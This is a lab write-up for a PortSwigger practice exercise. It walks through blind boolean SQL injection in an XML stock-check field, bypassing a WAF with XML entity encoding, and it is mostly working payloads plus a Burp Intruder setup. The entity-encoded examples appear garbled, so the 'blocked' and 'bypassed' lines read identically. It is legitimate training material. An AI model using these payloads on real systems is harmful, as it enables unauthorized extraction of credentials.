SQL Injection Filter Bypass via XML Entity Encoding
Lab: PortSwigger Web Security Academy Difficulty: Practitioner Vulnerability: Blind SQL Injection with WAF Bypass
Lab Overview
The application uses a stock check feature that sends XML data to the server. A WAF blocks common SQL injection keywords, but XML entity encoding can bypass the filter. The goal is to extract the administrator password.
Key Techniques
- XML Entity Encoding - Bypass WAF keyword detection
- Blind Boolean-Based Extraction - Use conditional responses to extract data
- CHR() String Building - Avoid blocked string literals
- ASCII Character Extraction - Convert characters to numbers for exfiltration
Attack Flow
Phase 1: Identify Injection Point
The stock check sends XML:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>
Testing productId with basic SQLi keywords triggers WAF (“Attack detected”).
Phase 2: WAF Bypass via XML Entity Encoding
XML parsers decode entities before passing to SQL interpreter.
Blocked:
<productId>1 SELECT password FROM users</productId>
Bypassed:
<productId>1 SELECT password FROM users LIMIT 1</productId>
S = hex entity for S -> decoded server-side to SELECT
Response: 0 units - query executes but doesn’t display data visibly.
Phase 3: Determine Extraction Method
Problem: App only displays stock count (integer), not query results.
Tested approaches:
- UNION - blocked by WAF (even encoded)
- Error-based CAST - blocked by WAF
- String literals - blocked (
'a'triggers “Attack detected”)
Discovery: Subqueries control productId value:
<productId>(SELECT 1)</productId> -> Returns 773 units (product 1's stock)
<productId>(SELECT 2)</productId> -> Returns 182 units (product 2's stock)
Phase 4: Boolean-Based Blind via Conditional Response
Use different product IDs as true/false indicators:
- 773 units = TRUE (product 1)
- 182 units = FALSE (product 2)
Test boolean logic:
<productId>(SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END)</productId>
Result: 773 units
<productId>(SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END)</productId>
Result: 182 units
Phase 5: Build Username String Without Quotes
String literals blocked, so use CHR() to build ‘administrator’:
administrator = CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)||CHR(105)||CHR(115)||CHR(116)||CHR(114)||CHR(97)||CHR(116)||CHR(111)||CHR(114)
Phase 6: Extract Password Length
<productId>(SELECT CASE WHEN LENGTH(password)=20 THEN 1 ELSE 2 END FROM users WHERE username=CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)||CHR(105)||CHR(115)||CHR(116)||CHR(114)||CHR(97)||CHR(116)||CHR(111)||CHR(114) LIMIT 1)</productId>
Result: 773 units -> Password is 20 characters.
Phase 7: Extract Password Character by Character
Manual binary search for first character:
<productId>(SELECT CASE WHEN ASCII(SUBSTRING(password,1,1))>109 THEN 1 ELSE 2 END FROM users WHERE username=CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)||CHR(105)||CHR(115)||CHR(116)||CHR(114)||CHR(97)||CHR(116)||CHR(111)||CHR(114) LIMIT 1)</productId>
Burp Intruder automation: Payload position:
<productId>(SELECT CASE WHEN ASCII(SUBSTRING(password,§1§,1))=§48§ THEN 1 ELSE 2 END FROM users WHERE username=CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)||CHR(105)||CHR(115)||CHR(116)||CHR(114)||CHR(97)||CHR(116)||CHR(111)||CHR(114) LIMIT 1)</productId>
Payload list (ASCII values for a-z, 0-9):
48,49,50,51,52,53,54,55,56,57
97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122
Filter results by “773” in response = character match.
Final Payload
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>(SELECT CASE WHEN ASCII(SUBSTRING(password,1,1))=118 THEN 1 ELSE 2 END FROM users WHERE username=CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)||CHR(105)||CHR(115)||CHR(116)||CHR(114)||CHR(97)||CHR(116)||CHR(111)||CHR(114) LIMIT 1)</productId>
<storeId>1</storeId>
</stockCheck>
Extracted Password
ASCII values captured:
118,121,120,51,102,102,113,102,48,102,118,114,122,113,101,120,115,111,113,55
Decoded:
vyx3ffqf0fvrzqexsoq7
Key Takeaways
| Challenge | Solution |
|---|---|
| WAF blocks SQL keywords | XML entity encoding (SELECT) |
| Can’t see query output | Boolean-based blind (different product IDs as indicators) |
| String literals blocked | CHR() function to build strings without quotes |
| Need to extract strings | ASCII() + SUBSTRING() to convert chars to numbers |
| Manual extraction slow | Burp Intruder with ASCII payload list |